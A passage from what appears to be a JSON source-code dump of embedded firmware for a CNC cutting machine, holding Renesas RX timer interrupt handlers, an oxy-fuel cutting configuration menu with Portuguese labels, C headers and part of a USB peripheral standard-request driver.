(mtu_tgic0_isr(vect = VECT(MTU0, TGIC0)))\n void mtu_tgic0_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_0, MTU_TIMER_C);\n }\n\n /* MTU0.TGRD input capture/compare match. */\n #pragma interrupt (mtu_tgid0_isr(vect = VECT(MTU0, TGID0)))\n void mtu_tgid0_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_0, MTU_TIMER_D);\n }\n\n #ifndef BSP_MCU_RX63_ALL\n #if(0)\n /* MTU0.TCNT overflow. */\n #pragma interrupt (mtu_tciv0_isr(vect = VECT(MTU0, TCIV0)))\n void mtu_tciv0_isr(void)\n {\n //FUTURE: implement this handler.\n }\n #endif\n #endif\n#endif\n\n#if MTU_CFG_USE_CH1 == 1\n /* MTU1.TGRA input capture/compare match. */\n #pragma interrupt (mtu_tgia1_isr(vect = VECT(MTU1, TGIA1)))\n void mtu_tgia1_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_1, MTU_TIMER_A);\n }\n\n /* MTU1.TGRB input capture/compare match. */\n #pragma interrupt (mtu_tgib1_isr(vect = VECT(MTU1, TGIB1)))\n void mtu_tgib1_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_1, MTU_TIMER_B);\n }\n\n #ifndef BSP_MCU_RX63_ALL\n #if(0)\n /* MTU1.TCNT overflow. */\n #pragma interrupt (mtu_tciv1_isr(vect = VECT(MTU1, TCIV1)))\n void mtu_tciv1_isr(void)\n {\n //FUTURE: implement this handler.\n }\n\n /* MTU1.TCNT underflow. */\n #pragma interrupt (mtu_tciu1_isr(vect = VECT(MTU1, TCIU1)))\n void mtu_tciu1_isr(void)\n {\n //FUTURE: implement this handler.\n }\n #endif\n #endif\n#endif\n\n\n#ifdef BSP_MCU_RX63_ALL\n #if(0)\n #if (MTU_CFG_USE_CH0 == 1) || (MTU_CFG_USE_CH1 == 1)\n /* Shared group interrupt channels 0 and 1 overflow/underflow. */\n #pragma interrupt (mtu_tciv_0_1_isr(vect=VECT(ICU, GROUP1)))\n void mtu_tciv_0_1_isr(void)\n {\n //FUTURE: implement this handler.\n }\n #endif\n #endif\n#endif\n\n\n#if MTU_CFG_USE_CH2 == 1\n /* MTU2.TGRA input capture/compare match. */\n #pragma interrupt (mtu_tgia2_isr(vect = VECT(MTU2, TGIA2)))\n void mtu_tgia2_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_2, MTU_TIMER_A);\n }\n\n /* MTU2.TGRB input capture/compare match. */\n #pragma interrupt (mtu_tgib2_isr(vect = VECT(MTU2, TGIB2)))\n void mtu_tgib2_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_2, MTU_TIMER_B);\n }\n\n #ifndef BSP_MCU_RX63_ALL\n #if(0)\n /* MTU2.TCNT overflow. */\n #pragma interrupt (mtu_tciv2_isr(vect = VECT(MTU2, TCIV2)))\n void mtu_tciv2_isr(void)\n {\n //FUTURE: implement this handler.\n }\n\n /* MTU2.TCNT underflow. */\n #pragma interrupt (mtu_tciu2_isr(vect = VECT(MTU2, TCIU2)))\n void mtu_tciu2_isr(void)\n {\n //FUTURE: implement this handler.\n }\n #endif\n #endif\n#endif\n\n#if MTU_CFG_USE_CH3 == 1\n /* MTU3.TGRA input capture/compare match. */\n #pragma interrupt (mtu_tgia3_isr(vect = VECT(MTU3, TGIA3)))\n void mtu_tgia3_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_3, MTU_TIMER_A);\n }\n\n /* MTU3.TGRB input capture/compare match. */\n #pragma interrupt (mtu_tgib3_isr(vect = VECT(MTU3, TGIB3)))\n void mtu_tgib3_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_3, MTU_TIMER_B);\n }\n\n /* MTU3.TGRC input capture/compare match. */\n #pragma interrupt (mtu_tgic3_isr(vect = VECT(MTU3, TGIC3)))\n void mtu_tgic3_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_3, MTU_TIMER_C);\n }\n\n /* MTU3.TGRD input capture/compare match. */\n #pragma interrupt (mtu_tgid3_isr(vect = VECT(MTU3, TGID3)))\n void mtu_tgid3_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_3, MTU_TIMER_D);\n }\n\n #ifndef BSP_MCU_RX63_ALL\n #if(0)\n /* MTU3.TCNT overflow. */\n #pragma interrupt (mtu_tciv3_isr(vect = VECT(MTU3, TCIV3)))\n void mtu_tciv3_isr(void)\n {\n //FUTURE: implement this handler.\n }\n #endif\n #endif\n#endif\n\n#ifdef BSP_MCU_RX63_ALL\n #if (MTU_CFG_USE_CH2 == 1) || (MTU_CFG_USE_CH3 == 1)\n #if(0)\n /* Shared group interrupt channels 2 and 3 overflow/underflow. */\n #pragma interrupt (mtu_tciv_2_3_isr(vect=VECT(ICU, GROUP2)))\n void mtu_tciv_2_3_isr(void)\n {\n //FUTURE: implement this handler.\n }\n #endif\n #endif\n#endif\n\n#if MTU_CFG_USE_CH4 == 1\n /* MTU4.TGRA input capture/compare match. */\n #pragma interrupt (mtu_tgia4_isr(vect = VECT(MTU4, TGIA4)))\n void mtu_tgia4_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_4, MTU_TIMER_A);\n }\n\n /* MTU4.TGRB input capture/compare match. */\n #pragma interrupt (mtu_tgib4_isr(vect = VECT(MTU4, TGIB4)))\n void mtu_tgib4_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_4, MTU_TIMER_B);\n }\n\n /* MTU4.TGRC input capture/compare match. */\n #pragma interrupt (mtu_tgic4_isr(vect = VECT(MTU4, TGIC4)))\n void mtu_tgic4_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_4, MTU_TIMER_C);\n }\n\n /* MTU4.TGRD input capture/compare match. */\n #pragma interrupt (mtu_tgid4_isr(vect = VECT(MTU4, TGID4)))\n void mtu_tgid4_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_4, MTU_TIMER_D);\n }\n #if(0)\n /* MTU4.TCNT overflow/underflow. */\n #pragma interrupt (mtu_tciv4_isr(vect = VECT(MTU4, TCIV4)))\n void mtu_tciv4_isr(void)\n {\n //FUTURE: implement this handler.\n }\n #endif\n#endif\n" }, { "alpha_fraction": 0.44068285822868347, "alphanum_fraction": 0.453125, "avg_line_length": 32.882354736328125, "blob_id": "9e93e2ae0434ae6905cd17abee8c02c8457f6b0c", "content_id": "ea78661a9256d45c0806a281df39cf8c57c59718", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3488, "license_type": "no_license", "max_line_length": 65, "num_lines": 102, "path": "/src/states/config_menu_ox.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * config_menu_ox.c\n *\n * Created on: Jun 15, 2016\n * Author: LAfonso01\n */\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"config_menu_ox.h\"\n#include \"eeprom.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nut_config_var configsOx[OX_CONFIG_MAX];\n/* Initial values for each config variable */\nut_config_type ox_init_types[OX_CONFIG_MAX] =\n{\n\tUT_CONFIG_INT, //!< Altura de perfuração\n\tUT_CONFIG_INT, //!< Altura de corte\n\tUT_CONFIG_INT, //!< Velocidade de corte\n\tUT_CONFIG_INT, //!< Tempo de aquecimento\n\tUT_CONFIG_INT, //!< Tempo de Perfuração\n};\n\nchar* ox_init_names[OX_CONFIG_MAX] =\n{\n\t\" ALT. PERFURAÇÃO\", //!< Altura de perfuração\n\t\" ALTURA DE CORTE\",\t\t\t //!< Altura de corte\n\t\" VELOC. CORTE\", //!< Velocidade de corte\n\t\" TEMPO AQUECIMENTO\", //!< Tempo de aquecimento\n\t\" TEMPO PERFURAÇÃO\", //!< Tempo de Perfuração\n};\n\nfloat ox_init_max[OX_CONFIG_MAX] =\n{\n\t50, //!< Altura de perfuração\n\t50, //!< Altura de corte\n\t7000, //!< Velocidade de corte\n\t300, //!< Tempo de aquecimento\n\t60, //!< Tempo de Perfuração\n};\n\nfloat ox_init_min[OX_CONFIG_MAX] =\n{\n\t1, //!< Altura de perfuração\n\t1, //!< Altura de corte\n\tMOTOR_VMIN, //!< Velocidade de corte\n\t0, //!< Tempo de aquecimento\n\t0, //!< Tempo de Perfuração\n};\n\nuint8_t ox_init_point[OX_CONFIG_MAX] =\n{\n\t1, //!< Altura de perfuração\n\t1, //!< Altura de corte\n\t0, //!< Velocidade de corte\n\t1, //!< Tempo de aquecimento\n\t1, //!< Tempo de Perfuração\n};\n\nfloat ox_init_step[OX_CONFIG_MAX] =\n{\n\t0.1, //!< Altura de perfuração\n\t0.1, //!< Altura de corte\n\t1, //!< Velocidade de corte\n\t0.1, //!< Tempo de aquecimento\n\t0.1, //!< Tempo de Perfuração\n};\n\nchar* ox_init_unit[OX_CONFIG_MAX] =\n{\n\t\"mm\", //!< Altura de perfuração\n\t\"mm\", //!< Altura de corte\n\t\"mm/min\", //!< Velocidade de corte\n\t\"s\", //!< Tempo de aquecimento\n\t\"s\", //!< Tempo de Perfuração\n};\n\nvoid initOx(void)\n{\n\tuint8_t i;\n\n\t/* Zero all values */\n\tmemset(configsOx, 0, sizeof(configsOx));\n\teepromReadConfig(CONFIGVAR_OX);\n\t/* Initialize all variables */\n\tfor(i = 0; i < OX_CONFIG_MAX; i++)\n\t{\n\t\tconfigsOx[i].type = ox_init_types[i];\n\t\tconfigsOx[i].value = &configVarOx[i];\n\t\tconfigsOx[i].valueMax = ox_init_max[i];\n\t\tconfigsOx[i].valueMin = ox_init_min[i];\n\t\tconfigsOx[i].name = ox_init_names[i];\n\t\tconfigsOx[i].unit = ox_init_unit[i];\n\t\tconfigsOx[i].step = ox_init_step[i];\n\t\tconfigsOx[i].point = ox_init_point[i];\n\t\tconfigsOx[i].currentState = STATE_CONFIG_MENU_OX;\n\t\tconfigsOx[i].currentItem = i;\n\t}\n}\n" }, { "alpha_fraction": 0.6975308656692505, "alphanum_fraction": 0.7145061492919922, "avg_line_length": 26, "blob_id": "4984b0b589b89997ffd37787d50351421b41850d", "content_id": "9df9632b4a981af2a2f63ab9d6906e88fbc4ccef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 648, "license_type": "no_license", "max_line_length": 49, "num_lines": 24, "path": "/src/include/config_thc_maquina.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_menu_ox.h\n *\n * Created on: Jun 15, 2016\n * Author: LAfonso01\n */\n\n#ifndef INCLUDE_CONFIG_THC_H_\n#define INCLUDE_CONFIG_THC_H_\n\n#include \"ut_state_config_var.h\"\n\nextern ut_config_var configsTh[CFG_THC_MAX];\nextern ut_config_type th_init_types[CFG_THC_MAX];\nextern char* th_init_names[CFG_THC_MAX];\nextern float th_init_max[CFG_THC_MAX];\nextern float th_init_min[CFG_THC_MAX];\nextern float th_init_step[CFG_THC_MAX];\nextern uint8_t th_init_point[CFG_THC_MAX];\nextern char* th_init_unit[CFG_THC_MAX];\nextern const ut_state geNextStateTh[CFG_THC_MAX];\nextern uint32_t th_init_values[CFG_THC_MAX];\n\n#endif /* INCLUDE_CONFIG_TH_H_ */\n" }, { "alpha_fraction": 0.6654064059257507, "alphanum_fraction": 0.6824196577072144, "avg_line_length": 15.53125, "blob_id": "3e458061638b32b08f9febd0375a0d75a553c4b5", "content_id": "9244252cf55ec112cc38aa61d0dd2917e80d55c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 529, "license_type": "no_license", "max_line_length": 51, "num_lines": 32, "path": "/src/include/ut_context.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * ut_context.h\n *\n * Created on: Oct 29, 2015\n * Author: Fernando\n */\n\n#ifndef STATES_UT_CONTEXT_H_\n#define STATES_UT_CONTEXT_H_\n\n#define DEFAULT_CONTEXT_DATA_LEN\t128\n\ntypedef unsigned char ut_tag;\ntypedef unsigned char ut_len;\ntypedef unsigned char* ut_value;\n\n/**\n * Used to share data among different states\n */\ntypedef struct\n{\n\tut_tag tag;\n\tut_len len;\n\tunsigned char value[DEFAULT_CONTEXT_DATA_LEN];\n} ut_context;\n\n/**\n * Some methods to work with contexts / tlv objects\n */\n\n\n#endif /* STATES_UT_CONTEXT_H_ */\n" }, { "alpha_fraction": 0.3754492998123169, "alphanum_fraction": 0.38673076033592224, "avg_line_length": 38.37169647216797, "blob_id": "5dc8c450873b741b22257070a05308e35088453c", "content_id": "9d2ad43d8056a4a2891f258f4aa758df6fb6ef93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 46182, "license_type": "no_license", "max_line_length": 120, "num_lines": 1173, "path": "/r_usb_basic/src/driver/peri/r_usb_pstdrequest.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_pstdrequest.c\n* Description : USB Peripheral standard request code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\nstatic void usb_pstd_GetStatus1(USB_UTR_t *ptr);\nstatic void usb_pstd_GetDescriptor1(USB_UTR_t *ptr);\nstatic void usb_pstd_GetConfiguration1(USB_UTR_t *ptr);\nstatic void usb_pstd_GetInterface1(USB_UTR_t *ptr);\nstatic void usb_pstd_ClearFeature0(void);\nstatic void usb_pstd_ClearFeature3(USB_UTR_t *ptr);\nstatic void usb_pstd_SetFeature0(void);\nstatic void usb_pstd_SetFeature3(USB_UTR_t *ptr);\nstatic void usb_pstd_SetAddress0(void);\nstatic void usb_pstd_SetAddress3(USB_UTR_t *ptr);\nstatic void usb_pstd_SetDescriptor2(USB_UTR_t *ptr);\nstatic void usb_pstd_SetConfiguration0(USB_UTR_t *ptr);\nstatic void usb_pstd_SetConfiguration3(USB_UTR_t *ptr);\nstatic void usb_pstd_SetInterface0(USB_UTR_t *ptr);\nstatic void usb_pstd_SetInterface3(USB_UTR_t *ptr);\nstatic void usb_pstd_SynchFrame1(USB_UTR_t *ptr);\n\n/*****************************************************************************\nPublic Variables\n******************************************************************************/\n\n/******************************************************************************\nRenesas Abstracted Peripheral standard request functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_StandReq0\nDescription : The idle and setup stages of a standard request from host.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_StandReq0(USB_UTR_t *ptr)\n{\n switch( usb_gpstd_ReqRequest )\n {\n case USB_CLEAR_FEATURE:\n /* Clear Feature0 */\n usb_pstd_ClearFeature0();\n break;\n case USB_SET_FEATURE:\n /* Set Feature0 */\n usb_pstd_SetFeature0();\n break;\n case USB_SET_ADDRESS:\n /* Set Address0 */\n usb_pstd_SetAddress0();\n break;\n case USB_SET_CONFIGURATION:\n /* Set Configuration0 */\n usb_pstd_SetConfiguration0(ptr);\n break;\n case USB_SET_INTERFACE:\n /* Set Interface0 */\n usb_pstd_SetInterface0(ptr);\n break;\n default:\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_StandReq0\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_StandReq1\nDescription : The control read data stage of a standard request from host.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_StandReq1(USB_UTR_t *ptr)\n{\n switch( usb_gpstd_ReqRequest )\n {\n case USB_GET_STATUS:\n /* Get Status1 */\n usb_pstd_GetStatus1(ptr);\n break;\n case USB_GET_DESCRIPTOR:\n /* Get Descriptor1 */\n usb_pstd_GetDescriptor1(ptr);\n break;\n case USB_GET_CONFIGURATION:\n /* Get Configuration1 */\n usb_pstd_GetConfiguration1(ptr);\n break;\n case USB_GET_INTERFACE:\n /* Get Interface1 */\n usb_pstd_GetInterface1(ptr);\n break;\n case USB_SYNCH_FRAME:\n /* Synch Frame */\n usb_pstd_SynchFrame1(ptr);\n break;\n default:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_StandReq1\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_StandReq2\nDescription : The control write data stage of a standard request from host.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_StandReq2(USB_UTR_t *ptr)\n{\n if( usb_gpstd_ReqRequest == USB_SET_DESCRIPTOR )\n {\n /* Set Descriptor2 */\n usb_pstd_SetDescriptor2(ptr);\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_StandReq2\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_StandReq3\nDescription : Standard request process. This is for the status stage of a \n : control write where there is no data stage.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_StandReq3(USB_UTR_t *ptr)\n{\n switch( usb_gpstd_ReqRequest )\n {\n case USB_CLEAR_FEATURE:\n /* ClearFeature3 */\n usb_pstd_ClearFeature3(ptr);\n break;\n case USB_SET_FEATURE:\n /* SetFeature3 */\n usb_pstd_SetFeature3(ptr);\n break;\n case USB_SET_ADDRESS:\n /* SetAddress3 */\n usb_pstd_SetAddress3(ptr);\n break;\n case USB_SET_CONFIGURATION:\n /* SetConfiguration3 */\n usb_pstd_SetConfiguration3(ptr);\n break;\n case USB_SET_INTERFACE:\n /* SetInterface3 */\n usb_pstd_SetInterface3(ptr);\n break;\n default:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n }\n /* Control transfer stop(end) */\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_CTRL_END);\n}\n/******************************************************************************\nEnd of function usb_pstd_StandReq3\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_StandReq4\nDescription : The control read status stage of a standard request from host.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_StandReq4(USB_UTR_t *ptr)\n{\n switch( usb_gpstd_ReqRequest )\n {\n case USB_GET_STATUS:\n /* GetStatus4 */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n case USB_GET_DESCRIPTOR:\n /* GetDescriptor4 */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n case USB_GET_CONFIGURATION:\n /* GetConfiguration4 */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n case USB_GET_INTERFACE:\n /* GetInterface4 */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n case USB_SYNCH_FRAME:\n /* SynchFrame4 */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n default:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n }\n /* Control transfer stop(end) */\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_CTRL_END);\n}\n/******************************************************************************\nEnd of function usb_pstd_StandReq4\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_StandReq5\nDescription : The control write status stage of a standard request from host.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_StandReq5(USB_UTR_t *ptr)\n{\n if( usb_gpstd_ReqRequest == USB_SET_DESCRIPTOR )\n {\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n /* Control transfer stop(end) */\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_CTRL_END);\n}\n/******************************************************************************\nEnd of function usb_pstd_StandReq5\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_GetStatus1\nDescription : Analyze a Get Status command and process it.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_GetStatus1(USB_UTR_t *ptr)\n{\n static uint8_t tbl[2];\n uint16_t ep;\n uint16_t buffer, pipe;\n\n if( (usb_gpstd_ReqValue == 0) && (usb_gpstd_ReqLength == 2) )\n {\n tbl[0] = 0;\n tbl[1] = 0;\n /* Check request type */\n switch( usb_gpstd_ReqTypeRecip )\n {\n case USB_DEVICE:\n if( usb_gpstd_ReqIndex == 0 )\n {\n /* Self powered / Bus powered */\n tbl[0] = usb_pstd_GetCurrentPower();\n /* Support remote wakeup ? */\n if( usb_gpstd_RemoteWakeup == USB_YES )\n {\n tbl[0] |= USB_GS_REMOTEWAKEUP;\n }\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)2, tbl);\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n case USB_INTERFACE:\n if( usb_pstd_ChkConfigured(ptr) == USB_YES )\n {\n if( usb_gpstd_ReqIndex < usb_pstd_GetInterfaceNum(usb_gpstd_ConfigNum) )\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)2, tbl);\n }\n else\n {\n /* Request error (not exist interface) */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n case USB_ENDPOINT:\n /* Endpoint number */\n ep = (uint16_t)(usb_gpstd_ReqIndex & USB_EPNUMFIELD);\n /* Endpoint 0 */\n if( ep == 0 )\n {\n buffer = usb_creg_read_dcpctr( ptr );\n if( (buffer & USB_PID_STALL) != (uint16_t)0 )\n {\n /* Halt set */\n tbl[0] = USB_GS_HALT;\n }\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)2, tbl);\n }\n /* EP1 to max */\n else if( ep <= USB_MAX_EP_NO )\n {\n if( usb_pstd_ChkConfigured(ptr) == USB_YES )\n {\n pipe = usb_cstd_Epadr2Pipe(ptr, usb_gpstd_ReqIndex);\n if( pipe == USB_ERROR )\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n else\n {\n buffer = usb_cstd_GetPid(ptr, pipe);\n if( (buffer & USB_PID_STALL) != (uint16_t)0 )\n {\n /* Halt set */\n tbl[0] = USB_GS_HALT;\n }\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)2, tbl);\n }\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n default:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n }\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_GetStatus1\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_GetDescriptor1\nDescription : Analyze a Get Descriptor command from host and process it.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_GetDescriptor1(USB_UTR_t *ptr)\n{\n uint16_t len;\n uint16_t idx;\n uint8_t *table;\n\n if(usb_gpstd_ReqTypeRecip == USB_DEVICE )\n {\n idx = (uint16_t)(usb_gpstd_ReqValue & USB_DT_INDEX);\n switch( (uint16_t)USB_GET_DT_TYPE(usb_gpstd_ReqValue) )\n {\n /*---- Device descriptor ----*/\n case USB_DT_DEVICE:\n if((usb_gpstd_ReqIndex == (uint16_t)0) && (idx == (uint16_t)0))\n {\n table = usb_gpstd_Driver.devicetbl;\n if( usb_gpstd_ReqLength < table[0] )\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)usb_gpstd_ReqLength, table);\n }\n else\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)table[0], table);\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n /*---- Configuration descriptor ----*/\n case USB_DT_CONFIGURATION:\n if(( usb_gpstd_ReqIndex == 0 ) && (idx == (uint16_t)0))\n {\n table = usb_gpstd_Driver.configtbl[idx];\n len = (uint16_t)(*(uint8_t*)((uint32_t)table + (uint32_t)3));\n len = (uint16_t)(len << 8);\n len += (uint16_t)(*(uint8_t*)((uint32_t)table + (uint32_t)2));\n /* Descriptor > wLength */\n if( usb_gpstd_ReqLength < len )\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)usb_gpstd_ReqLength, table);\n }\n else\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)len, table);\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n /*---- String descriptor ----*/\n case USB_DT_STRING:\n if( idx < USB_STRINGNUM )\n {\n table = usb_gpstd_Driver.stringtbl[idx];\n len = (uint16_t)(*(uint8_t*)((uint32_t)table + (uint32_t)0));\n if( usb_gpstd_ReqLength < len )\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)usb_gpstd_ReqLength, table);\n }\n else\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)len, table);\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n /*---- Interface descriptor ----*/\n case USB_DT_INTERFACE:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n /*---- Endpoint descriptor ----*/\n case USB_DT_ENDPOINT:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n case USB_DT_DEVICE_QUALIFIER:\n if( ((usb_cstd_HiSpeedEnable(ptr, (uint16_t)USB_PORT0) == USB_YES)\n && (usb_gpstd_ReqIndex == 0)) && (idx == 0) )\n {\n table = usb_gpstd_Driver.qualitbl;\n if( usb_gpstd_ReqLength < table[0] )\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)usb_gpstd_ReqLength, table);\n }\n else\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)table[0], table);\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n case USB_DT_OTHER_SPEED_CONF:\n if( (usb_cstd_HiSpeedEnable(ptr, (uint16_t)USB_PORT0) == USB_YES)\n && (usb_gpstd_ReqIndex == 0) && (idx == (uint16_t)0))\n {\n table = usb_gpstd_Driver.othertbl[idx];\n len = (uint16_t)(*(uint8_t*)((uint32_t)table + (uint32_t)3));\n len = (uint16_t)(len << 8);\n len += (uint16_t)(*(uint8_t*)((uint32_t)table + (uint32_t)2));\n /* Descriptor > wLength */\n if( usb_gpstd_ReqLength < len )\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)usb_gpstd_ReqLength, table);\n }\n else\n {\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)len, table);\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n case USB_DT_INTERFACE_POWER:\n /* Not support */\n usb_pstd_SetStallPipe0( ptr );\n break;\n default:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n }\n }\n else if( usb_gpstd_ReqTypeRecip == USB_INTERFACE )\n {\n usb_gpstd_ReqReg.ReqType = usb_gpstd_ReqType;\n usb_gpstd_ReqReg.ReqTypeType = usb_gpstd_ReqTypeType;\n usb_gpstd_ReqReg.ReqTypeRecip = usb_gpstd_ReqTypeRecip;\n usb_gpstd_ReqReg.ReqRequest = usb_gpstd_ReqRequest;\n usb_gpstd_ReqReg.ReqValue = usb_gpstd_ReqValue;\n usb_gpstd_ReqReg.ReqIndex = usb_gpstd_ReqIndex;\n usb_gpstd_ReqReg.ReqLength = 